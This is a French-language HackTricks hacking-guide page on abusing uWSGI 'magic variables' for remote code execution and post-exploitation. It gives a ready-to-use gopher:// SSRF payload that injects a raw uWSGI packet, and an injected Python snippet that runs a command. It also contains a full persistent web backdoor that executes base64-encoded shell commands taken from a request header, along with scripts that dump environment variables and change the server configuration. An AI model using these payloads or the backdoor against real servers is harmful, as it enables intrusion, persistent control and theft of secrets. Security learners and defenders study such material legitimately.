WSGI Post-Exploitation Tricks
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
WSGI Overview
Web Server Gateway Interface (WSGI) est une spĂ©cification qui dĂ©crit comment un serveur web communique avec des applications web, et comment des applications web peuvent ĂȘtre chaĂźnĂ©es pour traiter une requĂȘte. uWSGI est l'un des serveurs WSGI les plus populaires, souvent utilisĂ© pour servir des applications web Python.
uWSGI Magic Variables Exploitation
uWSGI fournit des "magic variables" spĂ©ciales qui peuvent ĂȘtre utilisĂ©es pour configurer dynamiquement le comportement du serveur. Ces variables peuvent ĂȘtre dĂ©finies via des en-tĂȘtes HTTP et peuvent conduire Ă de graves vulnĂ©rabilitĂ©s de sĂ©curitĂ© lorsqu'elles ne sont pas correctement validĂ©es.
Key Exploitable Variables
UWSGI_FILE - Exécution arbitraire de fichiers
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Cette variable permet de charger et d'exécuter des fichiers Python arbitraires en tant qu'applications WSGI. Si un attaquant peut contrÎler ce paramÚtre, il peut obtenir Remote Code Execution (RCE).
UWSGI_SCRIPT - Chargement de script
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Charge un script spécifié comme une nouvelle application. Combiné avec des fonctionnalités de téléversement ou d'écriture de fichiers, cela peut conduire à RCE.
UWSGI_MODULE et UWSGI_CALLABLE - Chargement dynamique de modules
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Ces paramÚtres permettent de charger des modules Python arbitraires et d'appeler des fonctions spécifiques qui s'y trouvent.
UWSGI_SETENV - Manipulation des variables d'environnement
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Peut ĂȘtre utilisĂ© pour modifier des variables d'environnement, ce qui peut potentiellement affecter le comportement de l'application ou charger une configuration malveillante.
UWSGI_PYHOME - Python Environment Manipulation
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Modifie l'environnement virtuel Python, pouvant charger des paquets malveillants ou différents interpréteurs Python.
UWSGI_CHDIR - Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Change le rĂ©pertoire de travail avant de traiter les requĂȘtes, ce qui peut ĂȘtre utilisĂ© pour des attaques de traversĂ©e de rĂ©pertoires.
SSRF + Gopher vers
Le vecteur d'attaque
Lorsqu'uWSGI est accessible via SSRF (Server-Side Request Forgery), les attaquants peuvent interagir avec le socket interne uWSGI pour exploiter les variables magiques. Cela est particuliĂšrement dangereux lorsque :
- L'application présente des vulnérabilités SSRF
- uWSGI tourne sur un port/socket interne
- L'application ne valide pas correctement les variables magiques
uWSGI est accessible Ă cause de SSRF parce que le fichier de configuration uwsgi.ini contient : socket = 127.0.0.1:5000, le rendant accessible depuis l'application web via SSRF.
Exemple d'exploitation
Ătape 1 : CrĂ©er un payload malveillant
First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Ătape 2 : Composer une requĂȘte du protocole uWSGI
Utilisez le protocole Gopher pour envoyer des paquets uWSGI bruts:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Ce payload :
- Se connecte Ă uWSGI sur le port 5000
- Définit
UWSGI_FILEpour pointer vers le fichier malveillant - Force uWSGI à charger et exécuter le code Python
Structure du protocole uWSGI
Le protocole uWSGI utilise un format binaire oĂč :
- Les variables sont encodées sous forme de chaßnes préfixées par leur longueur
- Chaque variable a :
[name_length][name][value_length][value] - Le paquet commence par un en-tĂȘte contenant la taille totale
Techniques de post-exploitation
1. Backdoors persistantes
Backdoor basée sur un fichier
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Ensuite, utilisez UWSGI_FILE pour charger cette backdoor:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Persistance basée sur l'environnement
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Divulgation d'informations
Vidage des variables d'environnement
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
AccĂšs au systĂšme de fichiers
Utilisez UWSGI_CHDIR combiné au service de fichiers pour accéder à des fichiers sensibles:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
Si uWSGI s'exécute avec des privilÚges élevés, les attaquants pourraient manipuler les permissions du socket :
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Remplacement de configuration
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Références
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks